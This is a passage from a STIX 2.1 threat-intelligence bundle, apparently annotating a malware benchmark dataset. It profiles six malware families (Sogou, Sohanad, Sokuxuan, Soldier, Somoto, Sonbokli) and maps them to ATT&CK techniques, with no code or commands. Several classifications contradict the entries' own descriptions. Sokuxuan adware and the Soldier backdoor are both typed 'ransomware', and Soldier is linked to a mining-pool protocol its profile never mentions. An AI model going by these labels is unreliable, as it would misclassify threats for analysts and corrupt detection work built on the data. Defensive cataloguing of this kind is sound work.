      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softpulse exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7a46e0c-3aa0-5867-89b1-00db0944fdb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softpulse exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ad8721e-b907-562d-aea8-2c3cc92ed1a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softpulse exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d8fe0a3-8a23-5df4-9b9b-1df6bd5a4ba2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softpulse exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c22e1a3f-05b0-5ba5-af77-d4c22aa8cb4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softpulse exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sogou",
      "description": "Adware:Win32/Sogou is a Potentially Unwanted Program (PUA) and adware family frequently associated with aggressive Chinese software bundlers, specifically targeting the installation of input method editors (IMEs) and specialized web browsers. While the core software (like the Sogou Pinyin IME) may offer legitimate functionality, the aggressive bundling tactics, unauthorized browser hijacking, and massive data collection trigger widespread security alerts.<br><br><b>Understanding Sogou Adware</b><br>To an end-user, the infection often begins after downloading freeware from a third-party site. Their default search engine is suddenly changed (often to `sogou.com`), new toolbars appear, and they are bombarded with pop-up advertisements, often in Chinese. For security analysts, Sogou represents a high-risk PUA. The primary concern is not just the adware, but the extensive telemetry and typing data collected by the deeply embedded Input Method Editor (IME) component, which can act as a de-facto keylogger.<br><br><b>Execution and Hijacking Mechanics</b><br>Sogou is typically installed via deceptive freeware bundlers (`T1189`). During installation, it often utilizes 'Dark Patterns' to bypass user consent. It installs browser extensions (`T1176`) to forcefully modify the default homepage and search provider (`T1112`). It establishes robust persistence via Registry Run keys and Scheduled Tasks. Crucially, if the Sogou IME is installed, it hooks deeply into the Windows input subsystem (`T1056.001`), recording keystrokes ostensibly to 'improve predictive typing,' but effectively creating a massive privacy risk as this data is exfiltrated to remote servers in China.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, browser hijacking, and severe privacy risks due to keystroke telemetry. Incident responders will observe anomalous DNS requests to `sogou.com` and related affiliate networks. EDR logs will flag the installation of unwanted browser extensions and the persistent hooking of the Windows keyboard APIs. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sogou",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sogou"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e82a981-018d-5d59-aa79-8ca03725c667",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sogou exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7e91145-2b0e-59b9-a2d4-744047f5a0ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sogou exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f52f118f-9a90-52c2-addd-8fbd0bb2af8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sogou exhibits technique T1112 (Modify Registry (Search Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09541a00-919b-585f-af84-60b206fa5aac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sogou exhibits technique T1056.001 (Input Capture: Keylogging (IME Telemetry))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfbf7e2f-4cd9-5385-b2e3-5b57658dd274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceb39c2e-8fa5-5834-af92-6527c85cf606",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sogou exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9e9b05e-a3c3-5383-a056-f81267347e79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sohanad",
      "description": "Worm:Win32/Sohanad is a widespread, classic computer worm that gained notoriety for spreading aggressively via removable drives (USB flash drives) and popular Instant Messaging (IM) clients, notably Yahoo Messenger. Its primary function was to propagate itself, degrade system security settings, and often act as a downloader for secondary adware or trojan payloads.<br><br><b>Understanding the Sohanad Worm</b><br>To an end-user, a Sohanad infection often manifested as a sudden inability to access the Registry Editor or Task Manager, and the appearance of strange, hidden executable files on their USB drives. For security analysts, Sohanad is a textbook example of a highly successful network-bridging worm. By relying on physical media (USBs), it could easily cross air-gapped networks or jump between home and corporate environments.<br><br><b>Propagation and Persistence Mechanics</b><br>Sohanad spreads primarily by exploiting the Windows AutoRun feature (`T1091`). When an infected USB drive is inserted into a vulnerable PC, Windows automatically executes the `autorun.inf` file, which points to the hidden Sohanad executable on the drive. Once executed, the worm copies itself to the Windows system folder (`%SystemRoot%`) and creates multiple Registry Run keys (`T1547.001`). Crucially, to protect itself, Sohanad actively modifies the Registry to disable `taskmgr.exe`, `regedit.exe`, and the 'Show Hidden Files' option in Windows Explorer (`T1562.001`). It then actively polls for newly inserted USB drives, infecting them to continue the cycle. Additionally, it historically hooked into Yahoo Messenger to send malicious links to the victim's contact list.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid, widespread lateral movement across an organization, degraded security controls, and potential secondary payload delivery. Incident responders will observe a sudden spike in EDR alerts relating to `autorun.inf` execution and unauthorized modifications to critical Windows policies (disabling Task Manager). Network logs may show the worm downloading secondary payloads from hardcoded IPs. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sohanad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sohanad"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6aa2510-b09a-5e49-b96d-90cd92d22d02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e9b05e-a3c3-5383-a056-f81267347e79",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sohanad exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--027a6905-5d6d-5045-9a1b-f8f1a141f9f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e9b05e-a3c3-5383-a056-f81267347e79",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sohanad exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d226853-d1eb-54ac-96cb-227fdbe99d04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e9b05e-a3c3-5383-a056-f81267347e79",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sohanad exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e348b16d-02db-5981-b21b-d6487aa199dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9e9b05e-a3c3-5383-a056-f81267347e79",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sohanad exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5126be2-13b0-52c5-8dc9-200b2e0c43ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sokuxuan",
      "description": "<h3>Executive Summary</h3>\nSokuxuan is an aggressive Adware and Potentially Unwanted Program (PUP) designed to monetize infected systems. It achieves this by hijacking web browser settings, forcefully injecting unauthorized advertisements, and tracking user browsing habits to generate fraudulent affiliate revenue. It is notorious for its persistent and difficult-to-remove components.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSokuxuan primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, game modifications, or pirated software downloaded from untrustworthy file-sharing websites. The installation process utilizes deceptive \"Dark Patterns\" to hide the adware's deployment.\n\nOnce installed, Sokuxuan aggressively degrades the user experience:\n<ul>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default homepage, new tab page, and search engine in major web browsers (Chrome, Edge, Firefox), redirecting all traffic through attacker-controlled affiliate links to artificially inflate ad impressions.</li>\n<li><strong>Intrusive Ad Injection:</strong> The adware actively modifies the HTML of legitimate websites visited by the user, overlaying the page with intrusive pop-ups, banner ads, and \"sponsored\" links that completely disrupt normal web browsing.</li>\n<li><strong>Aggressive Persistence:</strong> Sokuxuan is known for establishing persistence mechanisms. It often installs malicious browser extensions and modifies registry `Run` keys to ensure the adware background processes launch automatically upon every system boot.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Sokuxuan is not typically destructive like a file-encrypting ransomware, it causes severe operational disruption. The constant rendering of injected ads consumes significant CPU and RAM, leading to severe browser latency and system instability. The persistent tracking of search queries also constitutes a significant privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Specialized Anti-Malware Scan:</strong> Standard antivirus often struggles to fully remove adware. Utilize an enterprise-grade anti-malware solution specifically designed for PUP/Adware removal to target the persistent registry keys and scheduled tasks.</li>\n<li><strong>Group Policy Audit:</strong> IT staff must inspect the local Windows Group Policy settings (specifically for Chrome and Edge) to remove any unauthorized policies that are force-installing the browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the hijacking components and tracking cookies, all installed web browsers on the infected endpoint must undergo a full factory reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Sokuxuan",
        "PUP.Sokuxuan",
        "BrowserHijacker.Sokuxuan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sokuxuan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sokuxuan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--052033fc-d19f-5530-a843-a60667ef32f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5126be2-13b0-52c5-8dc9-200b2e0c43ac",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sokuxuan exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--711ebba6-46fc-52e0-a00b-4bfec6f072bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5126be2-13b0-52c5-8dc9-200b2e0c43ac",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sokuxuan exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d1719d5-9f45-5486-973b-462f3d0d3449",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5126be2-13b0-52c5-8dc9-200b2e0c43ac",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sokuxuan exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1cfa21f-e5d8-56fa-a18f-e4f2491fabda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Soldier",
      "description": "<h3>Executive Summary</h3>\nSoldier is a sophisticated Trojan and custom backdoor frequently associated with targeted espionage operations and Advanced Persistent Threat (APT) groups. It is designed for long-term persistence, covert data exfiltration, and facilitating deep lateral movement within high-value corporate or government networks. Unlike \"smash-and-grab\" ransomware, Soldier is engineered to remain undetected for months, quietly siphoning sensitive intellectual property or strategic communications.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSoldier is typically deployed via highly targeted spear-phishing campaigns tailored to specific individuals within an organization (whaling). The payloads often utilize zero-day exploits or advanced malicious macros embedded in contextually relevant documents.\n\nOnce active, it exhibits advanced tradecraft:\n<ul>\n<li><strong>Custom C2 Protocols:</strong> Rather than using standard HTTP for Command and Control (C2), Soldier often utilizes custom, encrypted protocols or abuses legitimate cloud services to blend its exfiltration traffic with normal corporate network activity.</li>\n<li><strong>Modular Architecture:</strong> The backdoor is modular. The APT operators can dynamically load specific plugins into memory to perform tasks such as keylogging, screen capturing, credential dumping (via Mimikatz), or network scanning, without writing these tools to the hard drive.</li>\n<li><strong>Defense Evasion:</strong> Soldier utilizes advanced techniques like Process Doppelg\u00e4nging or DLL Side-Loading to execute its malicious code under the guise of signed, legitimate Windows binaries, making it extremely difficult for traditional AV to detect.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Soldier detection is an active crisis. It indicates that a highly skilled, likely state-sponsored or top-tier criminal organization has deeply compromised the network. The primary threat is the catastrophic loss of confidential data, intellectual property, and trade secrets.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Do Not Immediately Isolate (Observe first):</strong> In an APT scenario, immediately isolating the machine may tip off the attackers. Engage a specialized Incident Response (IR) firm immediately to monitor the C2 traffic and identify the full scope of the breach.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the initial endpoint is just a beachhead. IR teams must hunt through Active Directory logs, firewall telemetry, and EDR data to identify all other compromised machines and compromised service accounts.</li>\n<li><strong>Coordinated Eradication:</strong> Remediation requires a coordinated, enterprise-wide \"burn down\" of the attacker's infrastructure. This involves simultaneously wiping all infected machines, globally rotating all credentials, and severing all identified C2 connections at once.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Soldier",
        "Backdoor.APT.Soldier",
        "Win32/Soldier"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Soldier",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/soldier"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a6451bf-e18f-551e-8616-746cf888351f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cfa21f-e5d8-56fa-a18f-e4f2491fabda",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soldier exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8b60010-f256-56a0-9104-1ba4775bb0fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cfa21f-e5d8-56fa-a18f-e4f2491fabda",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soldier exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--608fbf7c-364a-546d-8db8-8feb4130961c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cfa21f-e5d8-56fa-a18f-e4f2491fabda",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soldier exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--55988775-fb34-5a82-bd22-5acfb18b5833",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Somoto",
      "description": "Adware:Win32/Somoto (also known as BetterInstaller) represents a massive, highly organized **Software Bundling and Adware Network**. Rather than functioning as a standalone virus, Somoto provides a 'monetization platform' for software developers. It wraps legitimate free software in a custom installer that aggressively and deceptively pushes unwanted toolbars, browser hijackers, and Potentially Unwanted Programs (PUPs) onto the user's system during the installation process.<br><br><b>Understanding Somoto (Bundlers)</b><br>To an end-user, Somoto is highly frustrating. A user attempts to download a free PDF reader, but ends up with three new search toolbars, a changed homepage, and annoying pop-up ads. For a security team, Somoto represents a significant degradation of endpoint hygiene and a massive compliance risk, as these bundled toolbars often extensively track user browsing data and transmit it to third-party advertising networks.<br><br><b>Execution and Bundling Mechanics</b><br>Somoto is distributed when users download software from untrustworthy third-party download portals (like old versions of Download.com or Softonic) (`T1189`). When the user runs the installer (`T1204.002`), the Somoto framework presents a series of deceptive screens. These screens use 'Dark Patterns'\u2014pre-checked boxes, confusing 'Accept' vs 'Decline' buttons\u2014to trick the user into installing the sponsored 'offers'. Once accepted, Somoto modifies the Windows Registry (`T1112`) and installs browser extensions/BHOs (`T1176`) to hijack the browser's search engine and inject sponsored links. It frequently modifies desktop shortcuts to ensure the browser always opens to the adware's landing page.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, slow system performance, and compromised privacy. Host-based IoCs include the sudden appearance of unknown applications in the 'Programs and Features' list, EDR alerts for modifications to browser shortcut targets (e.g., appending a URL to the `chrome.exe` shortcut), and the installation of BHOs in the Registry. Network IoCs include a high volume of DNS requests to tracking and advertising domains (like `somoto.com` or affiliate networks). (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Somoto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/somoto"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dc2407c-d709-561c-b1ec-6b1cd402598c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55988775-fb34-5a82-bd22-5acfb18b5833",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Somoto exhibits technique T1176 (Browser Extensions (Installing sponsored toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8be5a986-1c1d-5b95-be90-6465c3e8bf8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55988775-fb34-5a82-bd22-5acfb18b5833",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Somoto exhibits technique T1204.002 (User Execution: Malicious File (User tricked into accepting the bundle))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9fc63df-c5c7-5722-8917-e759337508a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55988775-fb34-5a82-bd22-5acfb18b5833",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Somoto exhibits technique T1112 (Modify Registry (Changing browser start pages and defaults))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac7fdade-0736-5f1e-b61b-f8d78a8f2b40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55988775-fb34-5a82-bd22-5acfb18b5833",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Somoto exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0e2d85c-dcb1-5966-a789-bee99c7732d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sonbokli",
      "description": "<h3>Executive Summary</h3>\nSonbokli is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSonbokli is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sonbokli operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sonbokli ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sonbokli receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sonbokli infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sonbokli executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sonbokli frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sonbokli",
        "Downloader.Sonbokli",
        "Win32/Sonbokli"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sonbokli",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sonbokli"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed7cac76-e8e5-5761-9893-5cd81c617a90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0e2d85c-dcb1-5966-a789-bee99c7732d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sonbokli exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b0db7da-30e2-5f47-b396-73a76064d27c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0e2d85c-dcb1-5966-a789-bee99c7732d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
